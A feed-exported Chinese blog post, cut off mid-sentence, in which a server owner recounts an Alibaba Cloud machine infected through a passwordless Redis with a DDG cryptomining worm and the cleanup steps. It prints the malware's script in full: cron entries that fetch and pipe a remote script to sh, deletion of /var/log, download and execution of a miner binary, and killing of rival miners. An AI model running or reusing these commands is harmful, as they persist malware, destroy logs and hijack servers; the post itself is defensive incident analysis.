存在的记忆 - 杀毒
type: channel
link: https://looaon.com/index.php/tag/杀毒/
items: 阿里云被黑，异常进程 qW3xT.4

阿里云被黑，异常进程 qW3xT.4
type: item
date: 2019-01-16T10:46:00+08:00
description: 今早一来收到阿里的通知信!6379，明显是个redis的端口查了一下。是个挖矿病毒，cpu 占用巨高 。杀了又有守护进程启动crontab -e 定时进程打开脚本瞅瞅export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "" > /var/spool/cron/root echo "*/15 * * * * curl -fsSL http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/root echo "*/15 * * * * wget -q -O- http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "" > /var/spool/cron/crontabs/root echo "*/15 * * * * curl -fsSL http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/crontabs/root echo "*/15 * * * * wget -q -O- http://132.148.241.138:8000/i.sh | sh" >> /var/spool/cron/crontabs/root rm -rf /var/cache /var/log ps auxf | grep -v grep | grep /tmp/ddgs.3017 || rm -rf /tmp/ddgs.3017 if [ ! -f "/tmp/ddgs.3017" ]; then wget -q http://132.148.241.138:8000/static/3017/ddgs.$(uname -m) -O /tmp/ddgs.3017 curl -fsSL http://132.148.241.138:8000/static/3017/ddgs.$(uname -m) -o /tmp/ddgs.3017 fi chmod +x /tmp/ddgs.3017 && /tmp/ddgs.3017 ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill #ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill #ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill 然后，说说这货怎么传播的。 他通过redis 。目前中毒的 共同点就是 安装了 redis 并且没有设置密码。 而且都是阿里云。 查看一下中毒时间。大概在网上 3 点。明显了，有人 利用redis 的 漏洞。固定在 去请求 阿里云的内网网ip。找有3306 端口，并且没有 设置 密码的 ecs。然后植入病毒。解决过程：首先解决redis入口问题，因为最开始没有设置密码，所以首先修改redis.conf。设置密码，然后重启redis在/tmp文件夹下发现该进程的文件 ls /tmp发现qW3xT.2文件又重新生成了。这时，首先删除qW3xT.2文件和ddgs.3013文件，然后使用top查询qW3xT.2和ddgs.3013的pid，直接kill掉。一段时间之后，删除的文件重新生成，dds和挖矿的进程又重新执行。此时怀疑是否有计划任务，此时查看计划任务的列表# crontab -l */15 * * * * curl -fsSL http://149.56.106.…